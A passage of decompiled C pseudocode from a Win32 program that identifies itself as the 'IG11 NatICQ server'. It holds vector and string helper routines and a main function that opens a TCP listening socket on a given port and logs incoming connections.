                   + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32)) >> 5)
     + ((unsigned int)(*(_DWORD *)(a1 + 4)
                     - *(_DWORD *)a1
                     + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32)) >> 31);
  if ( v2 > 0x4924923 )
    std___Xlength_error("vector<T> too long");
  v4 = v2 + 1;
  result = ((signed int)(*(_DWORD *)(a1 + 8)
                       - v1
                       + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)(a1 + 8) - v1)) >> 32)) >> 5)
         + ((unsigned int)(*(_DWORD *)(a1 + 8)
                         - v1
                         + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)(a1 + 8) - v1)) >> 32)) >> 31);
  if ( v4 > result )
  {
    if ( 76695844 - (result >> 1) >= result )
      v5 = (result >> 1) + result;
    else
      v5 = 0;
    if ( v5 < v4 )
      v5 = v4;
    result = sub_405F50(a1, v5);
  }
  return result;
}

//----- (00405D20) --------------------------------------------------------
int __userpurge sub_405D20<eax>(int a1<esi>, unsigned int a2)
{
  unsigned int v2; // ecx@1
  int result; // eax@3
  int v4; // ebx@4
  int v5; // edi@4
  int v6; // eax@4

  v2 = a2;
  if ( a2 > 0xFFFFFFFF )
    std___Xlength_error("vector<T> too long");
  result = *(_DWORD *)(a1 + 8) - *(_DWORD *)a1;
  if ( result < v2 )
  {
    v6 = sub_405DA0(v2);
    v5 = v6;
    memmove((void *)v6, *(const void **)a1, *(_DWORD *)(a1 + 4) - *(_DWORD *)a1);
    v4 = *(_DWORD *)(a1 + 4) - *(_DWORD *)a1;
    if ( *(_DWORD *)a1 )
      operator delete(*(_DWORD *)a1);
    result = v5 + a2;
    *(_DWORD *)a1 = v5;
    *(_DWORD *)(a1 + 4) = v5 + v4;
    *(_DWORD *)(a1 + 8) = result;
  }
  return result;
}

//----- (00405DA0) --------------------------------------------------------
int __fastcall sub_405DA0(unsigned int a1)
{
  int result; // eax@1
  int v2; // [sp+Ch] [bp-4h]@4
  int (__stdcall **v3)(char); // [sp+0h] [bp-10h]@4

  result = 0;
  if ( a1 )
  {
    if ( a1 > 0xFFFFFFFF || (result = operator new(a1), !result) )
    {
      v2 = 0;
      std__exception__exception(&v3, &v2);
      v3 = &off_4212F0;
      result = CxxThrowException(&v3, &dword_4227C8);
    }
  }
  return result;
}

//----- (00405DF0) --------------------------------------------------------
unsigned int __thiscall sub_405DF0(int this, unsigned int a2)
{
  unsigned int v2; // edi@1
  int v3; // esi@1
  unsigned int result; // eax@3
  int v5; // ebx@4
  unsigned int v6; // edi@4
  int v7; // eax@4
  int v8; // ecx@4
  int v9; // ST00_4@4
  int v10; // [sp+0h] [bp-24h]@1
  int *v11; // [sp+14h] [bp-10h]@1
  int v12; // [sp+20h] [bp-4h]@4
  int v13; // [sp+10h] [bp-14h]@4

  v11 = &v10;
  v3 = this;
  v2 = a2;
  if ( a2 > 0xCCCCCCC )
    std___Xlength_error("vector<T> too long");
  result = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3)) >> 32) >> 3)
         + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3)) >> 32) >> 31);
  if ( result < v2 )
  {
    v7 = sub_405EF0(v2);
    v12 = 0;
    v8 = *(_DWORD *)v3;
    v9 = *(_DWORD *)(v3 + 4);
    v13 = v7;
    sub_406530(v8, v9, v7);
    v5 = *(_DWORD *)(v3 + 4);
    v6 = ((signed int)((unsigned __int64)(1717986919i64 * (v5 - *(_DWORD *)v3)) >> 32) >> 3)
       + ((unsigned int)((unsigned __int64)(1717986919i64 * (v5 - *(_DWORD *)v3)) >> 32) >> 31);
    if ( *(_DWORD *)v3 )
    {
      sub_4061B0(*(_DWORD *)v3, v5);
      operator delete(*(_DWORD *)v3);
    }
    result = v13;
    *(_DWORD *)(v3 + 8) = v13 + 20 * a2;
    *(_DWORD *)(v3 + 4) = result + 20 * v6;
    *(_DWORD *)v3 = result;
  }
  return result;
}

//----- (00405EF0) --------------------------------------------------------
int __fastcall sub_405EF0(unsigned int a1)
{
  int result; // eax@1
  int v2; // [sp+Ch] [bp-4h]@4
  int (__stdcall **v3)(char); // [sp+0h] [bp-10h]@4

  result = 0;
  if ( a1 )
  {
    if ( a1 > 0xCCCCCCC || (result = operator new(20 * a1), !result) )
    {
      v2 = 0;
      std__exception__exception(&v3, &v2);
      v3 = &off_4212F0;
      result = CxxThrowException(&v3, &dword_4227C8);
    }
  }
  return result;
}

//----- (00405F50) --------------------------------------------------------
unsigned int __thiscall sub_405F50(int this, unsigned int a2)
{
  unsigned int v2; // ecx@1
  int v3; // esi@1
  unsigned int result; // eax@3
  unsigned int v5; // edi@4
  int v6; // eax@4
  int v7; // ecx@4
  int v8; // ST00_4@4
  int v9; // [sp+0h] [bp-24h]@1
  int *v10; // [sp+14h] [bp-10h]@1
  int v11; // [sp+20h] [bp-4h]@4
  int v12; // [sp+10h] [bp-14h]@4

  v10 = &v9;
  v3 = this;
  v2 = a2;
  if ( a2 > 0x4924924 )
    std___Xlength_error("vector<T> too long");
  result = ((signed int)(*(_DWORD *)(v3 + 8)
                       - *(_DWORD *)v3
                       + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3)) >> 32)) >> 5)
         + ((unsigned int)(*(_DWORD *)(v3 + 8)
                         - *(_DWORD *)v3
                         + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3)) >> 32)) >> 31);
  if ( result < v2 )
  {
    v6 = sub_406060(v2);
    v11 = 0;
    v7 = *(_DWORD *)v3;
    v8 = *(_DWORD *)(v3 + 4);
    v12 = v6;
    sub_4065D0(v7, v8, v6);
    v5 = ((signed int)(*(_DWORD *)(v3 + 4)
                     - *(_DWORD *)v3
                     + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)(v3 + 4) - *(_DWORD *)v3)) >> 32)) >> 5)
       + ((unsigned int)(*(_DWORD *)(v3 + 4)
                       - *(_DWORD *)v3
                       + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)(v3 + 4) - *(_DWORD *)v3)) >> 32)) >> 31);
    if ( *(_DWORD *)v3 )
    {
      sub_406300(*(_DWORD *)v3, *(_DWORD *)(v3 + 4));
      operator delete(*(_DWORD *)v3);
    }
    result = v12;
    *(_DWORD *)(v3 + 8) = v12 + 56 * a2;
    *(_DWORD *)(v3 + 4) = result + 56 * v5;
    *(_DWORD *)v3 = result;
  }
  return result;
}

//----- (00406060) --------------------------------------------------------
int __fastcall sub_406060(unsigned int a1)
{
  int result; // eax@1
  int v2; // [sp+Ch] [bp-4h]@4
  int (__stdcall **v3)(char); // [sp+0h] [bp-10h]@4

  result = 0;
  if ( a1 )
  {
    if ( a1 > 0x4924924 || (result = operator new(56 * a1), !result) )
    {
      v2 = 0;
      std__exception__exception(&v3, &v2);
      v3 = &off_4212F0;
      result = CxxThrowException(&v3, &dword_4227C8);
    }
  }
  return result;
}

//----- (004060C0) --------------------------------------------------------
int __userpurge sub_4060C0<eax>(int a1<edi>, int a2, int a3)
{
  void *v3; // ebx@1
  int v5; // [sp+4h] [bp-4h]@1

  v3 = *(void **)a1;
  v5 = a2;
  if ( v3 != *(void **)(a1 + 4) )
  {
    memmove(v3, *(const void **)(a1 + 4), 0);
    *(_DWORD *)(a1 + 4) = v3;
  }
  return sub_41D130(a1, *(void **)a1, v5, a3, a2);
}

//----- (00406110) --------------------------------------------------------
char __usercall sub_406110<al>(int a1<ecx>, int a2<edi>)
{
  unsigned int v2; // eax@1
  unsigned int v3; // ebx@1
  unsigned int v4; // esi@1
  int v5; // edx@4
  int v6; // eax@6

  v3 = strlen((const char *)a1);
  v4 = *(_DWORD *)(a2 + 16);
  v2 = *(_DWORD *)(a2 + 16);
  if ( v4 >= v3 )
    v2 = v3;
  if ( *(_DWORD *)(a2 + 20) < 0x10u )
    v5 = a2;
  else
    v5 = *(_DWORD *)a2;
  v6 = sub_401F10(v2, v5, a1);
  if ( !v6 )
  {
    if ( v4 < v3 )
      return 1;
    v6 = v4 != v3;
  }
  return v6 != 0;
}

//----- (00406170) --------------------------------------------------------
int __usercall sub_406170<eax>(int result<eax>, int a2<ecx>, int a3)
{
  int v3; // edi@1
  int v4; // esi@1
  int v5; // ebx@2

  v3 = a2;
  v4 = result;
  if ( a2 != a3 )
  {
    v5 = a2 - result;
    do
    {
      *(_WORD *)v4 = *(_WORD *)v3;
      sub_405570(v5 + v4 + 4, v4 + 4);
      v3 += 20;
      v4 += 20;
    }
    while ( v3 != a3 );
    result = v4;
  }
  return result;
}

//----- (004061B0) --------------------------------------------------------
int __usercall sub_4061B0<eax>(int result<eax>, int a2<ebx>)
{
  int v2; // esi@2

  if ( result != a2 )
  {
    v2 = result + 4;
    do
    {
      if ( *(_DWORD *)v2 )
        operator delete(*(_DWORD *)v2);
      *(_DWORD *)v2 = 0;
      *(_DWORD *)(v2 + 4) = 0;
      *(_DWORD *)(v2 + 8) = 0;
      v2 += 20;
      result = v2 - 4;
    }
    while ( v2 - 4 != a2 );
  }
  return result;
}

//----- (004061F0) --------------------------------------------------------
int __thiscall sub_4061F0(int this, int a2)
{
  int v2; // ebx@1
  unsigned int v3; // edi@1
  int v4; // esi@1
  int v6; // eax@4
  int v7; // [sp+0h] [bp-20h]@1
  int *v8; // [sp+10h] [bp-10h]@1
  int v9; // [sp+1Ch] [bp-4h]@4

  v8 = &v7;
  v2 = this;
  v4 = a2;
  *(_DWORD *)a2 = 0;
  *(_DWORD *)(a2 + 4) = 0;
  *(_DWORD *)(a2 + 8) = 0;
  v3 = *(_DWORD *)(this + 4) - *(_DWORD *)this;
  *(_DWORD *)a2 = 0;
  *(_DWORD *)(a2 + 4) = 0;
  *(_DWORD *)(a2 + 8) = 0;
  if ( v3 )
  {
    if ( v3 > 0xFFFFFFFF )
      std___Xlength_error("vector<T> too long");
    v6 = sub_405DA0(v3);
    v9 = 0;
    *(_DWORD *)v4 = v6;
    *(_DWORD *)(v4 + 4) = v6;
    *(_DWORD *)(v4 + 8) = v6 + v3;
    *(_DWORD *)(v4 + 4) = sub_41D2A0(v6, *(_DWORD *)v2, *(_DWORD *)(v2 + 4));
  }
  return v4;
}

//----- (004062A0) --------------------------------------------------------
char __usercall sub_4062A0<al>(int a1<ecx>, int a2<edi>)
{
  unsigned int v2; // eax@1
  unsigned int v3; // ebx@1
  unsigned int v4; // esi@1
  int v5; // edx@4
  int v6; // eax@6

  v3 = strlen((const char *)a1);
  v4 = *(_DWORD *)(a2 + 16);
  v2 = *(_DWORD *)(a2 + 16);
  if ( v4 >= v3 )
    v2 = v3;
  if ( *(_DWORD *)(a2 + 20) < 0x10u )
    v5 = a2;
  else
    v5 = *(_DWORD *)a2;
  v6 = sub_401F10(v2, v5, a1);
  if ( !v6 )
  {
    if ( v4 < v3 )
      return 0;
    v6 = v4 != v3;
  }
  return v6 == 0;
}

//----- (00406300) --------------------------------------------------------
int __usercall sub_406300<eax>(int result<eax>, int a2)
{
  int v2; // edi@2
  int v3; // esi@3
  int v4; // ecx@4
  int i; // [sp+4h] [bp-4h]@4

  if ( result != a2 )
  {
    v2 = result + 24;
    do
    {
      v3 = *(_DWORD *)(v2 + 16);
      if ( v3 )
      {
        v4 = *(_DWORD *)(v2 + 20);
        for ( i = *(_DWORD *)(v2 + 20); v3 != v4; v3 += 20 )
        {
          if ( *(_DWORD *)(v3 + 4) )
          {
            operator delete(*(_DWORD *)(v3 + 4));
            v4 = i;
          }
          *(_DWORD *)(v3 + 4) = 0;
          *(_DWORD *)(v3 + 8) = 0;
          *(_DWORD *)(v3 + 12) = 0;
        }
        result = operator delete(*(_DWORD *)(v2 + 16));
      }
      *(_DWORD *)(v2 + 16) = 0;
      *(_DWORD *)(v2 + 20) = 0;
      *(_DWORD *)(v2 + 24) = 0;
      if ( *(_DWORD *)v2 >= 0x10u )
        result = operator delete(*(_DWORD *)(v2 - 20));
      *(_DWORD *)v2 = 15;
      *(_DWORD *)(v2 - 4) = 0;
      *(_BYTE *)(v2 - 20) = 0;
      v2 += 56;
    }
    while ( v2 - 24 != a2 );
  }
  return result;
}

//----- (00406390) --------------------------------------------------------
int __userpurge sub_406390<eax>(int a1<edi>, int a2)
{
  int v3; // esi@1
  int v4; // [sp+14h] [bp-4h]@1

  v3 = a2;
  *(_WORD *)a2 = *(_WORD *)a1;
  *(_DWORD *)(a2 + 24) = 15;
  *(_DWORD *)(a2 + 20) = 0;
  *(_BYTE *)(a2 + 4) = 0;
  sub_401600(a2 + 4, -1, 0, a1 + 4);
  v4 = 0;
  *(_WORD *)(v3 + 32) = *(_WORD *)(a1 + 32);
  *(_WORD *)(v3 + 34) = *(_WORD *)(a1 + 34);
  *(_WORD *)(v3 + 36) = *(_WORD *)(a1 + 36);
  *(_WORD *)(v3 + 38) = *(_WORD *)(a1 + 38);
  sub_406430(a1 + 40, v3 + 40);
  return v3;
}

//----- (00406430) --------------------------------------------------------
int __thiscall sub_406430(int this, int a2)
{
  int v2; // ebx@1
  unsigned int v3; // edi@1
  int v4; // esi@1
  int v6; // ecx@1
  signed int v7; // edx@1
  unsigned int v8; // edi@1
  char v9; // zf@1
  int v10; // eax@4
  int v11; // [sp+0h] [bp-20h]@1
  int *v12; // [sp+10h] [bp-10h]@1
  int v13; // [sp+1Ch] [bp-4h]@4

  v12 = &v11;
  v2 = this;
  v4 = a2;
  *(_DWORD *)a2 = 0;
  *(_DWORD *)(a2 + 4) = 0;
  *(_DWORD *)(a2 + 8) = 0;
  v6 = *(_DWORD *)(this + 4) - *(_DWORD *)this;
  v7 = (signed int)((unsigned __int64)(1717986919i64 * v6) >> 32) >> 3;
  v8 = (unsigned int)((unsigned __int64)(1717986919i64 * v6) >> 32) >> 31;
  v9 = v7 + v8 == 0;
  v3 = v7 + v8;
  *(_DWORD *)a2 = 0;
  *(_DWORD *)(a2 + 4) = 0;
  *(_DWORD *)(a2 + 8) = 0;
  if ( !v9 )
  {
    if ( v3 > 0xCCCCCCC )
      std___Xlength_error("vector<T> too long");
    v10 = sub_405EF0(v3);
    *(_DWORD *)(v4 + 8) = v10 + 20 * v3;
    v13 = 0;
    *(_DWORD *)v4 = v10;
    *(_DWORD *)(v4 + 4) = v10;
    *(_DWORD *)(v4 + 4) = sub_406980(*(_DWORD *)v2, *(_DWORD *)(v2 + 4), v10);
  }
  return v4;
}

//----- (00406500) --------------------------------------------------------
int __usercall sub_406500<eax>(int a1<esi>)
{
  int result; // eax@1

  result = *(_DWORD *)(a1 + 4);
  if ( result )
    result = operator delete(*(_DWORD *)(a1 + 4));
  *(_DWORD *)(a1 + 4) = 0;
  *(_DWORD *)(a1 + 8) = 0;
  *(_DWORD *)(a1 + 12) = 0;
  return result;
}

//----- (00406530) --------------------------------------------------------
int __thiscall sub_406530(int this, int a2, int a3)
{
  int v3; // edi@1
  int v4; // esi@1
  int v6; // [sp+0h] [bp-24h]@1
  int *v7; // [sp+14h] [bp-10h]@1
  int v8; // [sp+10h] [bp-14h]@1
  int v9; // [sp+20h] [bp-4h]@1

  v7 = &v6;
  v4 = a3;
  v3 = this;
  v8 = a3;
  v9 = 0;
  while ( v3 != a2 )
  {
    LOBYTE(v9) = 1;
    if ( v4 )
    {
      *(_WORD *)v4 = *(_WORD *)v3;
      sub_4061F0(v3 + 4, v4 + 4);
    }
    v4 += 20;
    a3 = v4;
    v3 += 20;
  }
  return v4;
}

//----- (004065D0) --------------------------------------------------------
int __thiscall sub_4065D0(int this, int a2, int a3)
{
  int v3; // eax@1
  int v4; // edi@1
  int v5; // esi@1
  int v7; // [sp+0h] [bp-28h]@1
  int *v8; // [sp+18h] [bp-10h]@1
  int v9; // [sp+14h] [bp-14h]@1
  int v10; // [sp+24h] [bp-4h]@1
  int v11; // [sp+10h] [bp-18h]@3

  v8 = &v7;
  v5 = a3;
  v4 = this;
  v3 = 0;
  v9 = a3;
  v10 = 0;
  while ( v4 != a2 )
  {
    v11 = v5;
    LOBYTE(v10) = 1;
    if ( v5 != v3 )
    {
      *(_WORD *)v5 = *(_WORD *)v4;
      *(_DWORD *)(v5 + 20) = v3;
      *(_DWORD *)(v5 + 24) = 15;
      *(_BYTE *)(v5 + 4) = v3;
      sub_401600(v5 + 4, -1, 0, v4 + 4);
      LOBYTE(v10) = 2;
      *(_WORD *)(v5 + 32) = *(_WORD *)(v4 + 32);
      *(_WORD *)(v5 + 34) = *(_WORD *)(v4 + 34);
      *(_WORD *)(v5 + 36) = *(_WORD *)(v4 + 36);
      *(_WORD *)(v5 + 38) = *(_WORD *)(v4 + 38);
      sub_406430(v4 + 40, v5 + 40);
      v3 = 0;
    }
    v5 += 56;
    a3 = v5;
    v4 += 56;
  }
  return v5;
}

//----- (004066C0) --------------------------------------------------------
int __thiscall sub_4066C0(int this, int a2, int a3, char *a4, char *a5, int a6)
{
  int v6; // esi@1
  int v7; // ecx@4
  int  s; // [sp+38h] [bp+0h]@1
  unsigned int v10; // [sp+28h] [bp-10h]@1
  signed int v11; // [sp+20h] [bp-18h]@1
  int v12; // [sp+1Ch] [bp-1Ch]@1
  int v13; // [sp+Ch] [bp-2Ch]@1
  int v14; // [sp+8h] [bp-30h]@1
  int v15; // [sp+34h] [bp-4h]@1

  v10 = (unsigned int)& s ^ dword_426018;
  v6 = this;
  v11 = 15;
  v12 = 0;
  LOBYTE(v13) = 0;
  sub_406A30((int)&v13, a4, a5, v14);
  v15 = 0;
  *(_DWORD *)(v6 + 20) < 0x10u;
  if ( a3 )
    v7 = a3 - a2;
  else
    v7 = 0;
  loc_406780(v7, &v13, (unsigned int)& s ^ dword_426018);
  if ( (unsigned int)v11 >= 0x10 )
    operator delete(v13);
  return v6;
}

//----- (00406980) --------------------------------------------------------
int __cdecl sub_406980(int a1, int a2, int a3)
{
  int v3; // eax@1
  int v4; // esi@1
  int v6; // [sp+0h] [bp-24h]@1
  int *v7; // [sp+14h] [bp-10h]@1
  int v8; // [sp+20h] [bp-4h]@1
  int v9; // [sp+10h] [bp-14h]@1

  v7 = &v6;
  v4 = a3;
  v8 = 0;
  v3 = a1;
  v9 = a3;
  while ( v3 != a2 )
  {
    LOBYTE(v8) = 1;
    if ( v4 )
    {
      *(_WORD *)v4 = *(_WORD *)v3;
      sub_4061F0(v3 + 4, v4 + 4);
      v3 = a1;
    }
    v4 += 20;
    v3 += 20;
    a3 = v4;
    a1 = v3;
  }
  return v4;
}

//----- (00406A30) --------------------------------------------------------
char *__stdcall sub_406A30(int a1, char *a2, char *a3, int a4)
{
  unsigned int v4; // edi@1
  int v5; // esi@1
  int v6; // eax@5
  char *result; // eax@8
  char v8; // cf@4
  int v9; // [sp+0h] [bp-20h]@1
  int *v10; // [sp+10h] [bp-10h]@1
  int v11; // [sp+1Ch] [bp-4h]@8

  v10 = &v9;
  v5 = a1;
  v4 = *(_DWORD *)(a1 + 16);
  if ( v4 <= a3 - a2 )
  {
    if ( *(_DWORD *)(a1 + 20) != a3 - a2 )
    {
      if ( sub_401460(a1, (void *)(a3 - a2), 1) )
      {
        v8 = *(_DWORD *)(v5 + 20) < 0x10u;
        *(_DWORD *)(v5 + 16) = v4;
        if ( v8 )
          v6 = v5;
        else
          v6 = *(_DWORD *)v5;
        *(_BYTE *)(v6 + v4) = 0;
      }
    }
  }
  v11 = 0;
  result = a2;
  while ( result != a3 )
  {
    sub_4011D0(*result, v5);
    result = a2++ + 1;
  }
  return result;
}

//----- (00406B00) --------------------------------------------------------
char __userpurge sub_406B00<al>(int a1<esi>, int a2)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST20_4_0; // ST20_4@0
  int ST24_4_0; // ST24_4@0
  int ST28_4_0; // ST28_4@0
  int ST2C_4_0; // ST2C_4@0
  int ST30_4_0; // ST30_4@0
  unsigned int ST34_4_0; // ST34_4@0
  int ST38_4_0; // ST38_4@0
  int v14; // ST1C_4@1
  int *v15; // [sp+28h] [bp-10h]@1
  signed int v16; // [sp+34h] [bp-4h]@1
  int *v17; // [sp+24h] [bp-14h]@1

  v15 = &ST20_4_0;
  ST34_4_0 = 15;
  ST30_4_0 = 0;
  LOBYTE(ST20_4_0) = 0;
  sub_401600((int)&ST20_4_0, -1, 0, a1 + 612);
  v16 = 0;
  v17 = &ST04_4_0;
  LOBYTE(ST04_4_0) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, a1 + 584);
  v16 = -1;
  return sub_40C150(
           a1,
           a2,
           ST04_4_0,
           ST08_4_0,
           ST0C_4_0,
           ST10_4_0,
           0,
           15,
           v14,
           ST20_4_0,
           ST24_4_0,
           ST28_4_0,
           ST2C_4_0,
           ST30_4_0,
           ST34_4_0,
           ST38_4_0);
}

//----- (00406BA0) --------------------------------------------------------
#error "406C78: positive sp value has been found (funcsize=68)"

//----- (00406C80) --------------------------------------------------------
__int64 __usercall sub_406C80<edx:eax>(__int64 result<edx:eax>)
{
  *(_DWORD *)((_DWORD)result + 16) = 0;
  *(_DWORD *)((_DWORD)result + 20) = 15;
  *(_BYTE *)result = 0;
  *(_DWORD *)((_DWORD)result + 48) = 15;
  *(_DWORD *)((_DWORD)result + 44) = 0;
  *(_BYTE *)((_DWORD)result + 28) = 0;
  *((_DWORD *)&result + 1) = 0;
  *(_DWORD *)((_DWORD)result + 64) = 1;
  *(_WORD *)((_DWORD)result + 68) = 0;
  *(_DWORD *)((_DWORD)result + 56) = 0;
  *(_DWORD *)((_DWORD)result + 60) = -1;
  *(_BYTE *)((_DWORD)result + 63) = 0;
  *(_BYTE *)((_DWORD)result + 70) = 0;
  *(_DWORD *)((_DWORD)result + 80) = 0;
  return result;
}

//----- (00406CC0) --------------------------------------------------------
int __userpurge sub_406CC0<eax>(int a1<esi>, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, unsigned int a14, int a15, int a16, __int16 a17, char a18, int a19, int a20)
{
  int v1; // eax@1
  int v3; // edx@1
  int v4; // [sp+Ch] [bp-10h]@1
  int v5; // [sp+18h] [bp-4h]@1

  v4 = a1;
  v5 = 0;
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  *(_DWORD *)(a1 + 48) = 15;
  *(_DWORD *)(a1 + 44) = 0;
  *(_BYTE *)(a1 + 28) = 0;
  LOBYTE(v5) = 3;
  sub_401600(a1, -1, 0, (int)&a2);
  sub_401600(a1 + 28, -1, 0, (int)&a9);
  v3 = a16;
  *(_WORD *)(a1 + 68) = a17;
  v1 = a19;
  *(_DWORD *)(a1 + 64) = v3;
  if ( v1 )
    *(_DWORD *)(a1 + 56) = *(_DWORD *)v1;
  else
    *(_DWORD *)(a1 + 56) = 0;
  if ( a20 )
  {
    *(_DWORD *)(a1 + 60) = *(_DWORD *)a20;
  }
  else
  {
    *(_DWORD *)(a1 + 60) = -1;
    *(_BYTE *)(a1 + 63) = 0;
  }
  *(_BYTE *)(a1 + 70) = a18;
  *(_DWORD *)(a1 + 80) = 0;
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(a2);
  a7 = 15;
  a6 = 0;
  LOBYTE(a2) = 0;
  if ( a14 >= 0x10 )
    operator delete(a9);
  return a1;
}

//----- (00406DC0) --------------------------------------------------------
int __usercall sub_406DC0<eax>(int a1<eax>, int a2<edx>, int a3<esi>)
{
  int v4; // eax@1

  v4 = *(_DWORD *)(a2 + 24) + 32 * a1 + 4;
  *(_DWORD *)(a3 + 16) = 0;
  *(_DWORD *)(a3 + 20) = 15;
  *(_BYTE *)a3 = 0;
  sub_401600(a3, -1, 0, v4);
  return a3;
}

//----- (00406E00) --------------------------------------------------------
int __usercall sub_406E00<eax>(int a1<eax>, int a2<edx>, int a3<esi>)
{
  int v4; // eax@1

  v4 = *(_DWORD *)(a2 + 8) + 368 * a1;
  *(_DWORD *)(a3 + 16) = 0;
  *(_DWORD *)(a3 + 20) = 15;
  *(_BYTE *)a3 = 0;
  sub_401600(a3, -1, 0, v4);
  return a3;
}

//----- (00406E40) --------------------------------------------------------
int __usercall sub_406E40<eax>(int a1<eax>, int a2<edx>, int a3<esi>)
{
  int v4; // eax@1

  v4 = *(_DWORD *)(a2 + 8) + 368 * a1 + 28;
  *(_DWORD *)(a3 + 16) = 0;
  *(_DWORD *)(a3 + 20) = 15;
  *(_BYTE *)a3 = 0;
  sub_401600(a3, -1, 0, v4);
  return a3;
}

//----- (00406E80) --------------------------------------------------------
int __usercall sub_406E80<eax>(int a1<esi>)
{
  int result; // eax@2

  if ( *(_DWORD *)(a1 + 48) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 28));
  *(_DWORD *)(a1 + 48) = 15;
  *(_DWORD *)(a1 + 44) = 0;
  *(_BYTE *)(a1 + 28) = 0;
  if ( *(_DWORD *)(a1 + 20) >= 0x10u )
    result = operator delete(*(_DWORD *)a1);
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  return result;
}

//----- (00406ED0) --------------------------------------------------------
signed int __cdecl main(signed int a1, int a2)
{
  int ST14_4_0; // ST14_4@0
  signed int v3; // ebx@1
  int v4; // ST18_4@2
  void *(__cdecl *v5)(size_t); // esi@3
  int v6; // eax@4
  int v7; // edi@4
  void *v8; // edx@6
  int v9; // ecx@6
  char *v10; // ST0C_4@9
  int v11; // ST10_4@9
  signed int result; // eax@10
  signed int v13; // eax@11
  SOCKET v14; // ebx@11
  SOCKET v15; // edi@19
  int v16; // eax@22
  int v17; // esi@22
  int v18; // eax@2
  int v19; // eax@3
  void *v20; // eax@3
  void *v21; // edi@3
  void *v22; // eax@3
  char v23; // cl@5
  void *v24; // eax@6
  char v25; // al@7
  SOCKET v26; // eax@19
  int v27; // ebx@24
  char *v28; // eax@24
  size_t v29; // ecx@26
  int v30; // eax@27
  SOCKET v31; // eax@28
  int v32; // eax@29
  int  s; // [sp+28h] [bp+0h]@1
  unsigned int v34; // [sp+24h] [bp-4h]@1
  int addrlen; // [sp+10h] [bp-18h]@1
  signed int namelen; // [sp+Ch] [bp-1Ch]@2
  signed int v37; // [sp+8h] [bp-20h]@11
  signed int optval; // [sp+4h] [bp-24h]@13
  char buf; // [sp+14h] [bp-14h]@32

  v34 = (unsigned int)& s ^ dword_426018;
  v3 = a1;
  addrlen = a2;
  if ( a1 <= 1 )
  {
    printf("Usage: %s PORT [/path/to/statistic/output]\n", *(_DWORD *)a2);
    result = -1;
  }
  else
  {
    v18 = atoi(*(const char **)(a2 + 4));
    namelen = v18;
    if ( (unsigned int)(v18 - 2) > 0xFFFD )
    {
      printf("Incorrect port number. Value must be in range 2-65535\n");
      result = -1;
    }
    else
    {
      printf("IG11 NatICQ server (rev %s)\n", dword_42151C);
      printf("Win32 build\n");
      v19 = dword_421000();
      srand(v19);
      v5 = malloc;
      v20 = malloc(0x400u);
      v21 = v20;
      dword_42672C = v20;
      v22 = malloc(0x400u);
      *(_DWORD *)v21 = dword_421558;
      *((_BYTE *)v21 + 4) = byte_42155C;
      *(_DWORD *)v22 = dword_421560;
      dword_426730 = v22;
      *((_BYTE *)v22 + 4) = byte_421564;
      if ( v3 == 3 )
      {
        v7 = *(_DWORD *)(addrlen + 8);
        v6 = *(_DWORD *)(addrlen + 8);
        do
          v23 = *(_BYTE *)v6++;
        while ( v23 );
        v24 = malloc(v6 - (v7 + 1) + 1);
        Memory = v24;
        v8 = v24;
        v9 = v7;
        do
        {
          v25 = *(_BYTE *)v9;
          *(_BYTE *)v8 = *(_BYTE *)v9++;
          v8 = (char *)v8 + 1;
        }
        while ( v25 );
      }
      if ( WSAStartup(2u, &stru_426738) )
      {
        v11 = WSAGetLastError();
        v10 = "WSAStartup() failed with error: %i\n";
LABEL_10:
        printf(v10, v11);
        return -1;
      }
      v13 = socket(2, 1, 0);
      v14 = v13;
      v37 = v13;
      if ( v13 == -1 )
      {
        v11 = WSAGetLastError();
        v10 = "socket() failed with error: %i\n";
        goto LABEL_10;
      }
      optval = 1;
      if ( setsockopt(v13, 65535, 4, (const char *)&optval, 4) == -1 )
      {
        v11 = WSAGetLastError();
        v10 = "setsockopt(SO_REUSEADDR) failed with error: %i\n";
        goto LABEL_10;
      }
      *(_DWORD *)&name.sa_data[2] = 0;
      name.sa_family = 2;
      *(_WORD *)&name.sa_data[0] = htons(namelen);
      if ( bind(v14, &name, 16) == -1 )
      {
        v11 = WSAGetLastError();
        v10 = "bind() failed with error: %i\n";
        goto LABEL_10;
      }
      if ( listen(v14, 5) == -1 )
      {
        v11 = WSAGetLastError();
        v10 = "listen() failed with error: %i\n";
        goto LABEL_10;
      }
      dword_426724 = 0;
      namelen = 16;
      dword_421004(dword_4266F8, ST14_4_0, v4);
      addrlen = 16;
      v26 = accept(v14, &addr, &addrlen);
      v15 = v26;
      if ( v26 == -1 )
      {
LABEL_29:
        v32 = WSAGetLastError();
        printf("Socket error. Exit! errno=%d\n", v32);
      }
      else
      {
        while ( 1 )
        {
          v16 = v5(0x18u);
          v17 = v16;
          if ( !v16 )
            break;
          *(_DWORD *)(v16 + 4) = 0;
          if ( !getpeername(v15, (struct sockaddr *)(v16 + 8), &namelen) )
          {
            v27 = htons_0(*(_WORD *)(v17 + 10));
            v28 = inet_ntoa(*(struct in_addr *)(v17 + 12));
            printf("Connect from %s:%i\n", v28, v27);
            v14 = v37;
          }
          *(_DWORD *)v17 = v15;
